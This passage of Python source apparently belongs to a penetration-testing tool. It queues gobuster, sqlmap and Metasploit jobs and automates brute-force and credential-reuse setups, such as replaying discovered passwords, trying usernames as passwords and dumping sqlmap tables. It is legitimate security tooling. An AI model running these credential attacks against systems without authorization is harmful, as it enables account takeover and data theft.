            click.echo("Solutions:")
            click.echo("  • Try medusa instead: souleyez jobs enqueue medusa <target>")
            click.echo("  • Or use: hydra -o legacy.txt ssh://<target>")
            click.echo("  • Or configure SSH client to allow legacy algorithms")
            click.pause("Press any key to continue...")
    
    # Special handling for gobuster wordlists
    if tool_name == 'gobuster' and args:
        from souleyez.wordlists import display_wordlist_menu
        
        # Check for wordlist placeholder
        needs_wordlist = '-w' in args or '--wordlist' in args
        wordlist_mode = None
        
        # Detect mode
        if 'dir' in args:
            wordlist_mode = 'dirs'
        elif 'dns' in args:
            wordlist_mode = 'dns'
        elif 'vhost' in args:
            wordlist_mode = 'dirs'  # Use dirs for vhost too
        
        if needs_wordlist and wordlist_mode:
            # Find the wordlist placeholder
            for i, arg in enumerate(args):
                if arg in ['-w', '--wordlist'] and i + 1 < len(args):
                    next_arg = args[i + 1]
                    # Check if it's a placeholder or doesn't exist
                    import os
                    if not os.path.exists(next_arg) or next_arg == 'wordlist.txt':
                        click.echo()
                        wordlist = display_wordlist_menu('gobuster', wordlist_mode, f'Gobuster {wordlist_mode.title()} Wordlist')
                        if not wordlist:
                            click.echo(click.style("✗ Wordlist required", fg='red'))
                            click.pause()
                            return None
                        # Convert relative paths to absolute paths
                        if wordlist.startswith('data/'):
                            wordlist = os.path.abspath(wordlist)
                        args[i + 1] = wordlist
                        break
    
    # Special handling for gobuster DNS subdomain scans - prompt for domain
    if tool_name == 'gobuster' and args and 'dns' in args and 'example.com' in args:
        click.echo()
        click.echo(click.style("📝 Domain Configuration", bold=True, fg='yellow'))

        # Check if the target looks like a domain (not an IP)
        import re
        from urllib.parse import urlparse

        domain = None
        is_ip = re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', target)

        # Try to extract domain from URL if target is a URL
        if target and target.startswith(('http://', 'https://')):
            try:
                parsed = urlparse(target)
                if parsed.hostname and not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', parsed.hostname):
                    # We have a domain name in the URL
                    domain = parsed.hostname
                    click.echo(f"Extracted domain from URL: {domain}")
            except:
                pass
        elif not is_ip and target and '/' not in target:
            # Target is already a domain, use it
            domain = target
            click.echo(f"Using target domain: {domain}")

        # If we couldn't extract a domain, prompt for one
        if not domain:
            # Target is an IP or CIDR, need to prompt for domain
            click.echo("DNS subdomain enumeration requires a domain name (not an IP address).")
            click.echo()
            domain = click.prompt("Enter target domain (e.g., company.com, example.org)", type=str, default="")

        if domain:
            # Replace example.com with the actual domain
            args = [domain if arg == 'example.com' else arg for arg in args]
            # Update target to be the domain (not the URL) for DNS mode
            target = domain
            click.echo(click.style(f"✓ Domain set to: {domain}", fg='green'))
        else:
            click.echo(click.style("✗ No domain provided, cannot run DNS subdomain scan", fg='red'))
            click.pause()
            return None
    
    # Special handling for SQLMap - prompt for DB_NAME, TABLE_NAME placeholders
    if tool_name == 'sqlmap' and args:
        import re
        
        if '<DB_NAME>' in args:
            click.echo()
            click.echo(click.style("📊 Database Configuration", bold=True, fg='yellow'))
            click.echo("This preset requires a database name.")
            click.echo()
            
            # Try to find previously discovered databases from SQLMap logs
            discovered_dbs = []
            try:
                from souleyez.storage.engagements import EngagementManager
                em = EngagementManager()
                current_eng = em.get_current()
                
                if current_eng:
                    # Look for SQLMap job logs that might contain database names
                    import os
                    import glob
                    logs_dir = os.path.join(os.path.expanduser("~"), ".souleyez", "data", "jobs")
                    log_files = glob.glob(os.path.join(logs_dir, "*.log"))
                    
                    for log_file in log_files[-10:]:  # Check last 10 job logs
                        try:
                            with open(log_file, 'r') as f:
                                lines = f.readlines()
                                
                                # Find "available databases" line and extract DBs from following lines
                                in_db_section = False
                                for line in lines:
                                    if 'available databases' in line.lower():
                                        in_db_section = True
                                        continue
                                    
                                    if in_db_section:
                                        # Stop at blank line or non-database line
                                        if not line.strip() or not line.strip().startswith('[*]'):
                                            in_db_section = False
                                            continue
                                        
                                        # Extract database name from "[*] dbname"
                                        match = re.match(r'\[\*\]\s+([a-zA-Z0-9_]+)\s*$', line.strip())
                                        if match:
                                            discovered_dbs.append(match.group(1))
                        except:
                            pass
                    
                    # Remove duplicates and sort
                    discovered_dbs = sorted(list(set(discovered_dbs)))
                    
                    # Don't filter system DBs - show ALL databases found
                    if discovered_dbs:
                        click.echo(click.style("💡 Previously discovered databases:", fg='cyan'))
                        for idx, db in enumerate(discovered_dbs, 1):  # Show all
                            click.echo(f"   {idx}. {db}")
                        click.echo()
            except:
                pass  # If discovery fails, just proceed with manual entry
            
            db_name = click.prompt("Enter database name or number from list above", type=str, default="")
            
            if db_name:
                # Check if user entered a number (selecting from list)
                if db_name.isdigit() and discovered_dbs:
                    idx = int(db_name) - 1  # Convert to 0-based index
                    if 0 <= idx < len(discovered_dbs):
                        db_name = discovered_dbs[idx]
                        click.echo(click.style(f"✓ Selected: {db_name}", fg='green'))
                    else:
                        click.echo(click.style(f"✗ Invalid selection: {db_name}. Using as literal database name.", fg='yellow'))
                
                args = [db_name if arg == '<DB_NAME>' else arg for arg in args]
                click.echo(click.style(f"✓ Database set to: {db_name}", fg='green'))
            else:
                click.echo(click.style("✗ No database name provided", fg='red'))
                click.pause()
                return None
        
        if '<TABLE_NAME>' in args or '<TABLE>' in args:
            click.echo()
            click.echo(click.style("📋 Table Configuration", bold=True, fg='yellow'))
            click.echo("This preset requires a table name.")
            click.echo()
            
            # Try to find previously discovered tables from SQLMap logs
            discovered_tables = []
            target_db = None
            
            # First, extract the database name from args (it was set in previous step)
            for arg in args:
                if arg not in ['--batch', '-D', '-T', '--tables', '--columns', '--dump', '<TABLE_NAME>', '<TABLE>'] and not arg.startswith('-'):
                    target_db = arg
                    break
            
            try:
                from souleyez.storage.engagements import EngagementManager
                em = EngagementManager()
                current_eng = em.get_current()
                
                if current_eng:
                    import glob
                    logs_dir = os.path.join(os.path.expanduser("~"), ".souleyez", "data", "jobs")
                    log_files = sorted(glob.glob(os.path.join(logs_dir, "*.log")), key=lambda x: int(os.path.basename(x).replace('.log', '')))
                    
                    # target_db is now extracted above, before the try block
                    
                    for log_file in log_files[-10:]:  # Check last 10 job logs
                        file_name = os.path.basename(log_file)
                        try:
                            with open(log_file, 'r') as f:
                                lines = f.readlines()
                            
                            # Find "Database: <name>" followed by table list
                            in_table_section = False
                            current_db = None
                            tables_found_in_file = 0
                            
                            for line in lines:
                                # Look for "Database: dbname"
                                if line.strip().startswith('Database:'):
                                    current_db = line.split('Database:')[1].strip()
                                    continue
                                
                                # Look for "[N tables]" marker
                                if 'tables]' in line.lower() and current_db:
                                    # Only include tables from target DB if specified
                                    if not target_db or current_db == target_db:
                                        in_table_section = True
                                    continue
                                
                                if in_table_section:
                                    # Stop at blank line or separator (matches +--+ and +---+ patterns)
                                    if not line.strip() or line.strip().startswith('+'):
                                        continue
                                    
                                    # End of table section
                                    if line.strip() and not line.strip().startswith('|'):
                                        in_table_section = False
                                        continue
                                    
                                    # Extract table name from "| tablename |"
                                    if line.strip().startswith('|') and line.strip().endswith('|'):
                                        parts = [p.strip() for p in line.strip().split('|')]
                                        # parts will be ['', 'tablename', ''] for | tablename |
                                        if len(parts) >= 3 and parts[1] and not parts[1].startswith('-'):
                                            discovered_tables.append(parts[1])
                                            tables_found_in_file += 1
                        except:
                            pass
                    
                    # Remove duplicates and sort
                    discovered_tables = sorted(list(set(discovered_tables)))
                    
                    if discovered_tables:
                        if target_db:
                            click.echo(click.style(f"💡 Previously discovered tables in '{target_db}':", fg='cyan'))
                        else:
                            click.echo(click.style("💡 Previously discovered tables:", fg='cyan'))
                        for idx, table in enumerate(discovered_tables, 1):
                            click.echo(f"   {idx}. {table}")
                        click.echo()
            except:
                pass  # If discovery fails, just proceed with manual entry
            
            # Adjust prompt based on whether tables were discovered
            if discovered_tables:
                prompt_msg = "Enter table name or number from list above"
            else:
                prompt_msg = "Enter table name"
            
            table_name = click.prompt(prompt_msg, type=str, default="")
            
            if table_name:
                # Check if user entered a number (selecting from list)
                if table_name.isdigit() and discovered_tables:
                    idx = int(table_name) - 1  # Convert to 0-based index
                    if 0 <= idx < len(discovered_tables):
                        table_name = discovered_tables[idx]
                        click.echo(click.style(f"✓ Selected: {table_name}", fg='green'))
                    else:
                        click.echo(click.style(f"✗ Invalid selection: {table_name}. Using as literal table name.", fg='yellow'))
                
                args = [table_name if arg in ('<TABLE_NAME>', '<TABLE>') else arg for arg in args]
                click.echo(click.style(f"✓ Table set to: {table_name}", fg='green'))
            else:
                click.echo(click.style("✗ No table name provided", fg='red'))
                click.pause()
                return None
        
        if '<COLUMNS>' in args:
            click.echo()
            click.echo(click.style("📋 Column Configuration", bold=True, fg='yellow'))
            click.echo("This preset requires column name(s).")
            click.echo("Tip: Use comma-separated for multiple (e.g., username,password)")
            click.echo()
            columns = click.prompt("Enter column name(s)", type=str, default="")
            
            if columns:
                args = [columns if arg == '<COLUMNS>' else arg for arg in args]
                click.echo(click.style(f"✓ Columns set to: {columns}", fg='green'))
            else:
                click.echo(click.style("✗ No columns provided", fg='red'))
                click.pause()
                return None
    
    # Special handling for MSF modules that need credentials
    if tool_name == 'msf_auxiliary' and args:
        module_path = args[0] if args else ""
        
        # Determine module type
        is_enum_module = any(x in module_path.lower() for x in ['_enum', 'enumuser'])
        is_login_module = any(x in module_path.lower() for x in ['_login', 'brute'])
        
        # Only show credential config for modules that need it
        if is_login_module or is_enum_module:
            click.echo()
            if is_enum_module:
                click.echo(click.style("=== User Enumeration Configuration ===", bold=True, fg='yellow'))
                click.echo("Provide a username list to test which accounts exist:\n")
            else:
                click.echo(click.style("=== Credential Configuration ===", bold=True, fg='yellow'))
                click.echo("Configure authentication options for this login module:\n")

            # Check if we have discovered credentials in the database
            from souleyez.storage.credentials import CredentialsManager
            from souleyez.storage.engagements import EngagementManager

            em = EngagementManager()
            current_eng = em.get_current()
            db_users_available = False
            db_user_count = 0

            if current_eng:
                cm = CredentialsManager()
                # Get credential stats (doesn't require decryption)
                stats = cm.get_stats(current_eng['id'])
                
                db_user_count = stats.get('users_only', 0)
                db_pair_count = stats.get('pairs', 0)
                db_users_available = db_user_count > 0 or db_pair_count > 0

                if db_users_available:
                    click.echo(click.style("💡 Credentials in database:", fg='cyan', bold=True))
                    if db_user_count > 0:
                        click.echo(click.style(f"   • {db_user_count} discovered usernames (for brute force)", fg='cyan'))
                    if db_pair_count > 0:
                        click.echo(click.style(f"   • {db_pair_count} valid username:password pairs", fg='green', bold=True))
                    click.echo()

            # Ask about credential options with clear descriptions
            if is_enum_module:
                # For enumeration modules, only show username list options
                click.echo(click.style("Choose username source:", bold=True))
                click.echo()
                
                option_num = 1
                option_map = {}
                
                # Show DB option if we have ANY credentials (pairs or username-only)
                total_db_usernames = db_user_count + db_pair_count
                if total_db_usernames > 0:
                    click.echo(f"  [{option_num}] " + click.style("use_db_users", fg='cyan', bold=True) + f" - Use {total_db_usernames} usernames from database")
                    option_map[str(option_num)] = 'use_db_users'
                    option_num += 1
                
                click.echo(f"  [{option_num}] wordlist      - Use custom username wordlist")
                option_map[str(option_num)] = 'wordlist'
                option_num += 1
                
                click.echo(f"  [{option_num}] single        - Test a single username")
                option_map[str(option_num)] = 'single'
                click.echo()
                
                choices = ['use_db_users', 'wordlist', 'single'] if total_db_usernames > 0 else ['wordlist', 'single']
                default_choice = 'use_db_users' if total_db_usernames > 0 else 'wordlist'
                
            elif db_users_available:
                # For login modules, show full credential options
                click.echo(click.style("Choose how to configure credentials:", bold=True))
                click.echo()
                
                option_num = 1
                option_map = {}
                
                if db_pair_count > 0:
                    click.echo(f"  [{option_num}] " + click.style("use_db_pairs", fg='green', bold=True) + f" - Test {db_pair_count} valid username:password pairs from database")
                    option_map[str(option_num)] = 'use_db_pairs'
                    option_num += 1
                    
                if db_user_count > 0:
                    click.echo(f"  [{option_num}] " + click.style("use_db_user_as_pass", fg='yellow', bold=True) + f" - Test {db_user_count} usernames AS passwords (user:user)")
                    option_map[str(option_num)] = 'use_db_user_as_pass'
                    option_num += 1
                    
                    click.echo(f"  [{option_num}] " + click.style("use_db_users", fg='cyan', bold=True) + f" - Brute force with {db_user_count} usernames from database + password wordlist")
                    option_map[str(option_num)] = 'use_db_users'
                    option_num += 1
                    
                click.echo(f"  [{option_num}] single        - Test a single username/password")
                option_map[str(option_num)] = 'single'
                option_num += 1
                
                click.echo(f"  [{option_num}] wordlist      - Use custom username and password files")
                option_map[str(option_num)] = 'wordlist'
                option_num += 1
                
                click.echo(f"  [{option_num}] userpass_file - Use custom username:password file")
                option_map[str(option_num)] = 'userpass_file'
                option_num += 1
                
                click.echo(f"  [{option_num}] skip          - Skip credential configuration")
                option_map[str(option_num)] = 'skip'
                click.echo()

                # Build choices list
                choices = []
                if db_pair_count > 0:
                    choices.append('use_db_pairs')
                if db_user_count > 0:
                    choices.append('use_db_user_as_pass')
                    choices.append('use_db_users')
                choices.extend(['single', 'wordlist', 'userpass_file', 'skip'])

                # Smart default: pairs > user_as_pass > users_with_wordlist
                if db_pair_count > 0:
                    default_choice = 'use_db_pairs'
                elif db_user_count > 0:
                    default_choice = 'use_db_user_as_pass'  # Try username as password first (fast!)
                else:
                    default_choice = 'skip'
            else:
                option_map = {
                    '1': 'single',
                    '2': 'wordlist', 
                    '3': 'userpass_file',
                    '4': 'skip'
                }
                click.echo(f"  [1] single        - Test a single username/password")
                click.echo(f"  [2] wordlist      - Use custom username and password files")
                click.echo(f"  [3] userpass_file - Use custom username:password file")
                click.echo(f"  [4] skip          - Skip credential configuration")
                click.echo()
                
                choices = ['single', 'wordlist', 'userpass_file', 'skip']
                default_choice = 'skip'

            cred_input = click.prompt(
                "Credential mode",
                type=str,
                default=default_choice,
            )
            
            # Map numeric input to choice
            if cred_input in option_map:
                cred_mode = option_map[cred_input]
            elif cred_input in choices:
                cred_mode = cred_input
            else:
                click.echo(click.style(f"Invalid choice, using default: {default_choice}", fg='yellow'))
                cred_mode = default_choice

            if cred_mode == 'use_db_pairs':
                # Use valid username:password pairs from database
                import tempfile
                import os

                click.echo(click.style(f"✓ Using {db_pair_count} valid username:password pairs from database", fg='green'))
                click.echo()

                # Get actual credentials (need decryption for filtering/file creation)
                try:
                    all_creds = cm.list_credentials(current_eng['id'], decrypt=True)
                    db_valid_pairs = [c for c in all_creds if c.get('username') and c.get('password')]
                except RuntimeError:
                    click.echo(click.style("✗ Cannot access encrypted credentials - master password required", fg='red'))
                    click.echo("Please unlock the database first or use a wordlist instead")
                    cred_mode = 'skip'
                    db_valid_pairs = []

                if cred_mode != 'skip':
                    # Filter options
                    click.echo("Filter credentials by:")
                    filter_service = click.prompt("  Service (ssh, smb, mysql, etc.) or leave blank for all", default="", type=str)
                    filter_host = click.prompt("  Host IP or leave blank for all", default="", type=str)

                    # Get filtered credentials
                    filtered_pairs = db_valid_pairs
                    if filter_service or filter_host:
                        filtered_pairs = []
                        for c in db_valid_pairs:
                            if filter_service and c.get('service') != filter_service:
                                continue
                            if filter_host and c.get('ip_address') != filter_host:
                                continue
                            filtered_pairs.append(c)

                if not filtered_pairs:
                    click.echo(click.style("✗ No credentials match the filters", fg='red'))
                    cred_mode = 'skip'
                else:
                    click.echo(click.style(f"✓ {len(filtered_pairs)} credential pairs selected", fg='green'))

                    # Create temp file with username:password pairs
                    temp_fd, temp_path = tempfile.mkstemp(prefix='souleyez_creds_', suffix='.txt', text=True)
                    try:
                        with os.fdopen(temp_fd, 'w') as f:
                            for cred in filtered_pairs:
                                username = cred.get('username')
                                password = cred.get('password')
                                if username and password:
                                    # MSF userpass format: username password (space-separated)
                                    f.write(f"{username} {password}\n")

                        click.echo(f"Created temporary credential file: {temp_path}")
                        click.echo(f"  Contains {len(filtered_pairs)} username:password pairs")
                        args.append(f"USERPASS_FILE={temp_path}")

                    except Exception as e:
                        click.echo(click.style(f"✗ Error creating credential file: {e}", fg='red'))
                        try:
                            os.unlink(temp_path)
                        except:
                            pass
                        cred_mode = 'skip'

            elif cred_mode == 'use_db_user_as_pass':
                # Use usernames AS passwords (username:username pairs)
                import tempfile
                import os

                click.echo(click.style(f"✓ Testing {db_user_count} usernames AS passwords (user:user)", fg='green'))
                click.echo()

                # Get actual credentials
                try:
                    all_creds = cm.list_credentials(current_eng['id'], decrypt=True)
                    db_users = [c for c in all_creds if c.get('username') and not c.get('password')]
                except RuntimeError:
                    click.echo(click.style("✗ Cannot access encrypted credentials - master password required", fg='red'))
                    cred_mode = 'skip'
                    db_users = []

                if cred_mode != 'skip':
                    # Filter options
                    click.echo("Filter credentials by:")
                    filter_service = click.prompt("  Service (ssh, smb, mysql, etc.) or leave blank for all", default="", type=str)
                    filter_host = click.prompt("  Host IP or leave blank for all", default="", type=str)

                    # Get filtered credentials
                    filtered_users = db_users
                    if filter_service or filter_host:
                        filtered_users = []
                        for c in db_users:
                            if filter_service and c.get('service') != filter_service:
                                continue
                            if filter_host and c.get('ip_address') != filter_host:
                                continue
                            filtered_users.append(c)

                if not filtered_users:
                    click.echo(click.style("✗ No usernames match the filters", fg='red'))
                    cred_mode = 'skip'
                else:
                    click.echo(click.style(f"✓ {len(filtered_users)} usernames selected", fg='green'))

                    # Create temp file with username:username pairs
                    temp_fd, temp_path = tempfile.mkstemp(prefix='souleyez_user_as_pass_', suffix='.txt', text=True)
                    try:
                        with os.fdopen(temp_fd, 'w') as f:
                            for cred in filtered_users:
                                username = cred.get('username')
                                if username:
                                    # MSF userpass format: username password (space-separated)
                                    # Using username AS password: msfadmin msfadmin
                                    f.write(f"{username} {username}\n")

                        click.echo(f"Created temporary credential file: {temp_path}")
                        click.echo(f"  Contains {len(filtered_users)} username:username pairs")
                        click.echo()
                        click.echo(click.style("Examples:", fg='cyan'))

                        # Show first 5 examples
                        shown = 0
                        for cred in filtered_users[:5]:
                            username = cred.get('username')
                            if username:
                                click.echo(f"  • {username}:{username}")
                                shown += 1

                        if len(filtered_users) > 5:
                            click.echo(f"  ... and {len(filtered_users) - 5} more")

                        args.append(f"USERPASS_FILE={temp_path}")

                    except Exception as e:
                        click.echo(click.style(f"✗ Error creating credential file: {e}", fg='red'))
                        try:
                            os.unlink(temp_path)
                        except:
                            pass
                        cred_mode = 'skip'

            elif cred_mode == 'use_db_users':
                # Use discovered usernames from database for brute force
                import tempfile

                total_db_usernames = db_user_count + db_pair_count
                click.echo(click.style(f"✓ Using {total_db_usernames} discovered usernames from database", fg='green'))
                click.echo()

                # Get actual credentials
                try:
                    all_creds = cm.list_credentials(current_eng['id'], decrypt=True)
                    # For enum modules, get ALL credentials with usernames (both pairs and username-only)
                    db_users = [c for c in all_creds if c.get('username')]
                except RuntimeError:
                    click.echo(click.style("✗ Cannot access encrypted credentials - master password required", fg='red'))
                    cred_mode = 'skip'
                    db_users = []

                if cred_mode != 'skip':
                    # Filter options
                    click.echo("Filter usernames by:")
                    filter_service = click.prompt("  Service (ssh, smb, mysql, etc.) or leave blank for all", default="", type=str)
                    filter_host = click.prompt("  Host IP or leave blank for all", default="", type=str)

                    # Get filtered credentials
                    if filter_service or filter_host:
                        filtered_creds = []
                        for c in db_users:
                            if filter_service and c.get('service') != filter_service:
                                continue
                            if filter_host and c.get('ip_address') != filter_host:
                                continue
                            filtered_creds.append(c)
                        db_users = filtered_creds

                if not db_users:
                    click.echo(click.style("✗ No usernames match the filters", fg='red'))
                    cred_mode = 'skip'
                else:
                    click.echo(click.style(f"✓ {len(db_users)} usernames selected", fg='green'))

                    # Create temp file with usernames
                    temp_fd, temp_path = tempfile.mkstemp(prefix='souleyez_users_', suffix='.txt', text=True)
                    try:
                        with os.fdopen(temp_fd, 'w') as f:
                            for cred in db_users:
                                username = cred.get('username')
                                if username:
                                    f.write(username + '\n')

                        click.echo(f"Created temporary user file: {temp_path}")
                        click.echo(f"  Contains {len(db_users)} usernames")
                        args.append(f"USER_FILE={temp_path}")

                        # Ask for password file
                        click.echo()
                        click.echo("Now specify the password wordlist to test:")

                        # Common password file locations
                        default_pass_file = "/usr/share/wordlists/rockyou.txt"
                        if not os.path.exists(default_pass_file):
                            # Try alternative locations
                            alt_locations = [
                                "/usr/share/wordlists/metasploit/unix_passwords.txt",
                                "/usr/share/metasploit-framework/data/wordlists/unix_passwords.txt",
                                "/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt"
                            ]
                            for alt in alt_locations:
                                if os.path.exists(alt):
                                    default_pass_file = alt
                                    break

                        pass_file = click.prompt("PASS_FILE (path to password list)", default=default_pass_file, type=str, show_default=True)

                        # Ensure we got a valid password file (not the username file)
                        if not pass_file or pass_file.strip() == "":
                            click.echo(click.style("⚠️  No password file specified", fg='red'))
                            pass_file = default_pass_file

                        # Make sure it's not the same as the username file
                        if pass_file == temp_path:
                            click.echo(click.style("⚠️  Password file cannot be the same as username file!", fg='red'))
                            pass_file = default_pass_file

                        if pass_file and os.path.exists(pass_file):
                            args.append(f"PASS_FILE={pass_file}")
                            click.echo(click.style(f"✓ Using password file: {pass_file}", fg='green'))
                        elif pass_file:
                            click.echo(click.style(f"⚠️  Warning: Password file not found: {pass_file}", fg='yellow'))
                            if click.confirm("Continue anyway?", default=False):
                                args.append(f"PASS_FILE={pass_file}")
                            else:
                                click.echo(click.style("Cancelled", fg='red'))
                                cred_mode = 'skip'

                    except Exception as e:
                        click.echo(click.style(f"✗ Error creating user file: {e}", fg='red'))
                        try:
                            os.unlink(temp_path)
                        except:
                            pass
                        cred_mode = 'skip'

            elif cred_mode == 'single':
                # Single username/password
                username = click.prompt("USERNAME", default="", type=str)
                if username:
                    args.append(f"USERNAME={username}")

                password = click.prompt("PASSWORD", default="", type=str)
                if password:
                    args.append(f"PASSWORD={password}")

            elif cred_mode == 'wordlist':
                # Separate user and password files
                click.echo("\n" + click.style("Available Username Wordlists:", fg='cyan', bold=True))
                from souleyez.wordlists import get_available_wordlists
                user_lists = get_available_wordlists(category='users')
                for idx, (name, path) in enumerate(user_lists.items(), 1):
                    click.echo(f"  [{idx}] {name}")
                click.echo(f"  [0] Custom path")
                
                user_choice = click.prompt("Select username list", type=str, default="1")
                if user_choice.isdigit():
                    choice_idx = int(user_choice)
                    if choice_idx > 0 and choice_idx <= len(user_lists):
                        user_file = list(user_lists.values())[choice_idx - 1]
                    elif choice_idx == 0:
                        user_file = click.prompt("USER_FILE (path to username list)", default="", type=str)
                    else:
                        user_file = ""
                else:
                    user_file = user_choice
                
                if user_file:
                    args.append(f"USER_FILE={user_file}")

                # Only ask for password wordlist if NOT an enumeration module
                if not is_enum_module:
                    click.echo("\n" + click.style("Available Password Wordlists:", fg='cyan', bold=True))
                    pass_lists = get_available_wordlists(category='passwords')
                    for idx, (name, path) in enumerate(pass_lists.items(), 1):
                        click.echo(f"  [{idx}] {name}")
                    click.echo(f"  [0] Custom path")
                    
                    pass_choice = click.prompt("Select password list", type=str, default="1")
                    if pass_choice.isdigit():
                        choice_idx = int(pass_choice)
                        if choice_idx > 0 and choice_idx <= len(pass_lists):
                            pass_file = list(pass_lists.values())[choice_idx - 1]
                        elif choice_idx == 0:
                            pass_file = click.prompt("PASS_FILE (path to password list)", default="", type=str)
                        else:
                            pass_file = ""
                    else:
                        pass_file = pass_choice
                    
                    if pass_file:
                        args.append(f"PASS_FILE={pass_file}")

            elif cred_mode == 'userpass_file':
                # Combined username:password file
                click.echo("\n" + click.style("Available Credential Wordlists:", fg='cyan', bold=True))
                from souleyez.wordlists import get_available_wordlists
                cred_lists = get_available_wordlists(category='credentials')
                for idx, (name, path) in enumerate(cred_lists.items(), 1):
                    click.echo(f"  [{idx}] {name}")
                click.echo(f"  [0] Custom path")
                
                userpass_choice = click.prompt("Select credential list", type=str, default="1" if cred_lists else "0")
                if userpass_choice.isdigit():
                    choice_idx = int(userpass_choice)
                    if choice_idx > 0 and choice_idx <= len(cred_lists):
                        userpass_file = list(cred_lists.values())[choice_idx - 1]
                    elif choice_idx == 0:
                        userpass_file = click.prompt("USERPASS_FILE (path to user:pass list)", default="", type=str)
                    else:
                        userpass_file = ""
                else:
                    userpass_file = userpass_choice
                
                if userpass_file:
                    args.append(f"USERPASS_FILE={userpass_file}")

            # Additional options
            if cred_mode != 'skip':
                click.echo()
                
                # Only show password-related options for login modules, not enum modules
                if not is_enum_module:
                    if click.confirm("Try username as password (USER_AS_PASS)?", default=False):
                        args.append("USER_AS_PASS=true")

                    if click.confirm("Try blank passwords?", default=False):
                        args.append("BLANK_PASSWORDS=true")

                    if click.confirm("Stop on first success?", default=True):
                        args.append("STOP_ON_SUCCESS=true")

                # Ask about threads (relevant for both enum and login)
                threads = click.prompt("Number of threads (THREADS)", default=1, type=int)
                if threads > 1:
                    args.append(f"THREADS={threads}")

    # Optional label
    label = click.prompt("Job label (optional)", default="", type=str).strip()

    # Validate label - reject box drawing characters or other UI artifacts
    if label and any(ord(c) in range(0x2500, 0x2600) for c in label):
        click.echo(click.style("✗ Invalid characters detected in label (possible paste error)", fg='red'))
        click.echo(click.style("  Please type the label directly or press Enter to skip", fg='yellow'))
        click.pause()
        return None

    # Validate target before returning (prevent None/empty targets)
    # Some tools like responder or hashcat might not need traditional targets
    # but searchsploit, most scanners, etc. require a valid target
    if not target or (isinstance(target, str) and not target.strip()):
        click.echo()
        click.echo(click.style("✗ Target is required for this tool", fg='red'))
        click.echo(click.style("  Cannot create job without a valid target", fg='yellow'))
        click.pause()
        return None

    # Build job params dict
    params = {
        'tool': tool_name,
        'target': target,
        'args': args,
        'label': label
    }

    # Include service context if available (for SearchSploit exploit linking)
    if 'service_context' in locals() and service_context:
        params['service_context'] = service_context

    return params


def launch_job(job_params: Dict[str, Any]) -> Optional[int]:
    """Launch a job with the given parameters. Returns job_id on success, None on failure."""
    try:
        tool_name = job_params['tool']
        target = job_params['target']
        args = job_params.get('args', [])
        label = job_params.get('label', '')
        service_context = job_params.get('service_context')  # Extract service context for exploit linking

        # Build metadata dict if service context exists
        metadata = {}
        if service_context:
            metadata['service_context'] = service_context

        # Check if this tool supports multiple targets
        # Tools like nmap support space-separated hosts, but enum4linux doesn't
        single_target_tools = ['enum4linux', 'smbmap', 'gobuster', 'sqlmap', 'theharvester']

        # Check if target contains multiple hosts (space-separated IPs)
        if any(tool_name.lower().startswith(t) for t in single_target_tools) and ' ' in target:
            # Split targets and create one job per host
            targets = target.split()
            click.echo()
            click.echo(click.style(f"⚠ {tool_name} doesn't support multiple targets", fg='yellow'))
            click.echo(click.style(f"Creating {len(targets)} separate jobs...", fg='cyan'))
            click.echo()

            job_ids = []
            for t in targets:
                job_id = enqueue_job(
                    tool=tool_name,
                    target=t,
                    args=args,
                    label=label,
                    metadata=metadata if metadata else None
                )
                job_ids.append(job_id)
                click.echo(click.style(f"✓ Job #{job_id} enqueued for {t}", fg='green'))

            click.echo()
            click.echo(click.style(f"✓ {len(job_ids)} jobs enqueued successfully!", fg='green', bold=True))
            click.echo(f"Tool: {tool_name}")
            if label:
                click.echo(f"Label: {label}")

            click.echo("\nTip: Check job status with: souleyez jobs list")

            return job_ids[0] if job_ids else None  # Return first job_id
        else:
            # Single target or tool that supports multiple targets
            job_id = enqueue_job(
                tool=tool_name,
                target=target,
                args=args,
                label=label,
                metadata=metadata if metadata else None
            )

            click.echo()
            click.echo(click.style("✓ Job enqueued successfully!", fg='green', bold=True))
            click.echo(f"Job ID: {job_id}")
            click.echo(f"Tool: {tool_name}")
            click.echo(f"Target: {target}")
            if args:
                click.echo(f"Args: {' '.join(args)}")

            click.echo("\nTip: Check job status with: souleyez jobs list")
            click.echo("      View job output with: souleyez jobs show <id>")

            return job_id  # Return the job_id

    except Exception as e:
        click.echo(click.style(f"✗ Error enqueueing job: {e}", fg='red'))
        return None


def show_auto_chaining_help():
    """Display the auto-chaining help guide with Rich formatting."""
    from rich.console import Console
    from rich.panel import Panel
    from rich.table import Table
    from rich import box

    console = Console()
    DesignSystem.clear_screen()

    # Header
    console.print()
    console.print(Panel(
        "[bold cyan]Auto-Chaining Guide[/bold cyan]",
        box=box.DOUBLE,
        padding=(0, 2)
    ))
    console.print()

    # Overview section
    console.print("[bold yellow]▸ Overview[/bold yellow]")
    console.print("  " + "─" * 40)
    console.print()
    console.print("  SoulEyez's Auto-Chaining System automatically triggers follow-up")
    console.print("  tools based on discovered services, findings, and credentials.")
    console.print()

    # How it works
    console.print("[bold yellow]▸ How It Works[/bold yellow]")
    console.print("  " + "─" * 40)
    console.print()
    console.print("  [cyan]1.[/cyan] [bold]Trigger Event[/bold] - A tool completes and discovers services/findings")
    console.print("  [cyan]2.[/cyan] [bold]Rule Matching[/bold] - Auto-chain engine checks which rules match results")
    console.print("  [cyan]3.[/cyan] [bold]Job Creation[/bold] - Matching rules generate new background jobs")
    console.print()

    # Example chain table
    console.print("[bold yellow]▸ Example Chains[/bold yellow]")
    console.print("  " + "─" * 40)
    console.print()

    chain_table = Table(show_header=True, header_style="bold", box=box.SIMPLE, padding=(0, 1))
    chain_table.add_column("Discovery", style="green")
    chain_table.add_column("→", justify="center", width=3)
    chain_table.add_column("Auto-Triggered Tool", style="cyan")
    chain_table.add_row("Port 80/443 (HTTP)", "→", "nuclei, nikto, gobuster")
    chain_table.add_row("Port 22 (SSH)", "→", "hydra (if creds found)")
    chain_table.add_row("Port 445 (SMB)", "→", "enum4linux, smbclient")
    chain_table.add_row("WordPress detected", "→", "wpscan")
    chain_table.add_row("Web params found", "→", "dalfox (XSS)")
    chain_table.add_row("Valid credentials", "→", "Service-specific exploitation")
    console.print(chain_table)
    console.print()

    # Quick actions
    console.print("[bold yellow]▸ Quick Actions[/bold yellow]")
    console.print("  " + "─" * 40)
    console.print()
    console.print("  [magenta][r][/magenta] - Configure chain rules (enable/disable specific triggers)")
    console.print("  [magenta][a][/magenta] - Toggle auto-chaining globally (from dashboard menu)")
    console.print()

    # Safety note
